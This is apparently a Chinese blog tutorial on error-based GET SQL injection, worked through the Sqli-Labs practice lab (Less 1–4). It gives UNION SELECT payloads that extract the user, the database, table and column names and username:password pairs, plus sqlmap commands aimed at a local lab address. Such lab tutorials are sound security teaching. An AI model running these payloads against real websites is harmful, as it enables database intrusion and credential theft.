SQL注入(2)

GET基于报错的SQL注入

SQL注入的分类

根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。
数字型:

sql select * from table where id = 用户输入id

字符型:

sql select * from table where id = '用户输入id'

GET基于报错的SQL注入发现

通过在URL中修改对应的ID值、为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。

实验:Sqli-Lab Less1~4,GET基于报错的SQL注入
Less1:
请添加图片描述
%27等价于’。
根据 ‘14’’ LIMIT 0,1 可推断出SQL:

select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型

Less2:
请添加图片描述
根据 ’ LIMIT 0,1 可推断出SQL:

select login_name,password from admin where id = id limit 0,1;
#数字类型

Less3:
请添加图片描述
根据 ‘14’’) LIMIT 0,1 可推断出SQL:

select login_name,password from admin where id = ('id') limit 0,1;
#括号

Less4:
请添加图片描述
使用\ 具有转义作用。
根据 “”) LIMIT 0,1 可推断出SQL:

select login_name,password from admin where id = (''id'') limit 0,1;
#双引号,有隐形的类型转换

GET基于报错的SQL注入利用

1、利用order by 判断字段数:

select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
select login_name,password from admin where id = 'id' order by n--+' limit 0,1;
#order by

请添加图片描述
查询可利用端口:
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,2,3 --+
请添加图片描述
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,user(),database() --+
请添加图片描述

2、利用union select 联合查询,获取表名:

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

3、利用union select 联合查询,获取字段名:

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= 'users' --+

4、利用union select 联合查询,获取字段值

0' union select 1,group_concat(uersname,0x3a,password),3 from users --+

利用Sqlmap测试

sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–dbs --batch
请添加图片描述

sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–D security --tables
请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值